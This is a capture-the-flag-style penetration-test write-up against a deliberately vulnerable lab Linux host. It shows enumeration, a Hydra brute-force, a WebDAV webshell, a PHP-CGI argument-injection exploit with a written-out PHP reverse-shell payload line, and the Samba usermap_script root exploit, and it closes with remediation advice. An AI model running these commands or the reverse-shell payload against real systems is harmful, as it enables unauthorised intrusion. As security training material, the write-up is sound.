Black Box Penetration Test - Linux

Classification: Host & Network Penetration Testing / Exploitation
Target: demo.ine.local — Linux, multi-service (Metasploitable-style)
Attacker: Kali (MSF)

The lab IP changed between sessions (10.2.17.67, 10.2.28.99, 10.2.24.174); the methodology is identical.

1. Executive Summary

A black-box assessment of a deliberately-vulnerable Linux host exposing dozens of services. After full enumeration, three independent compromise paths are demonstrated: vsFTPd (reached via SMTP user enumeration → Hydra → a WebDAV-uploaded webshell), PHP-CGI argument injection (PHP < 5.3.12), and the Samba usermap_script backdoor, which yields a direct root shell.

2. Enumeration

ping -c 4 demo.ine.local
db_nmap -sS -p- --open -Pn -n <target>
hosts ; services

Ping target

MSF global variables

db_nmap scan

A large attack surface: FTP, SSH, Telnet, SMTP, HTTP, SMB (Samba 3.0.20-Debian), MySQL, PostgreSQL, IRC, distccd, etc.

hosts / services — full attack surface

vsftpd allows anonymous login

Website on port 80

3. Path A — vsFTPd

Default-script scan of the FTP service.

db_nmap -sV -sC -p21 <target>

FTP default scripts

Anonymous login enabled

The vsftpd_234_backdoor module is patched on this host, so we take another route.

An SMTP service is present — enumerating users for a targeted brute-force.

use auxiliary/scanner/smtp/smtp_enum
run

SMTP user enumeration

Brute-forcing the service account with Hydra.

hydra -l service -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt <target> ftp
# service:service

Hydra — service:service

FTP session obtained

The website has an empty WebDAV directory — uploading a webshell there.

WebDAV directory found

Downloading/renaming the webshell

Configuring the webshell

Executing shell.php returns a reverse shell.

Reverse shell via webshell

4. Path B — PHP-CGI Argument Injection

Default-script scan of the web service / checking phpinfo.php.

db_nmap -sV -sC -p80 <target>

HTTP default scripts

phpinfo.php — PHP version

Searchsploit matches the running PHP to the CGI argument injection exploit (PHP < 5.3.12 / < 5.4.2, 18836.py).

searchsploit php cgi      # php/remote/18836.py

Searchsploit — PHP CGI argument injection

Exploit downloaded

Replacing the exploit’s phpinfo command with a reverse-shell payload.

$sock=fsockopen("IP","Port");exec("/bin/sh -i <&4 >&4 2>&4");

Editing the exploit payload

Reverse shell obtained (1)

Reverse shell obtained (2)

Reverse shell obtained (3)

5. Path C — Samba usermap_script (→ root)

Default-script scan + exact version with smb_version.

db_nmap -sV -sC -p445 <target>
use auxiliary/scanner/smb/smb_version
run          # Samba 3.0.20-Debian

SMB default scripts

smb_version — Samba 3.0.20

Samba 3.0.20 is vulnerable to the usermap_script command injection.

searchsploit samba
use exploit/multi/samba/usermap_script
set RHOSTS <target>
exploit

Searchsploit — Samba exploits

Selecting usermap_script

The exploit returns a root command shell directly.

/bin/bash -i
root@...:/#

Root shell via usermap_script

Upgrading to a Meterpreter session.

sessions -u 1

Upgrading the session (1)

Upgrading the session (2)

Meterpreter session (3)

Meterpreter as root (4)

6. Remediation Recommendations

Decommission/upgrade all legacy services — vsFTPd, Samba 3.0.20 (usermap_script), and PHP < 5.3.12 are all remotely exploitable; patch to supported versions.
Disable anonymous FTP and WebDAV uploads, and make web directories non-executable.
Enforce strong passwords & lockout (the service account used its own name) and disable SMTP user enumeration (VRFY/EXPN).
Reduce the attack surface — close unused services (telnet, rsh/rlogin, distccd, IRC) and segment the host; run services with least privilege.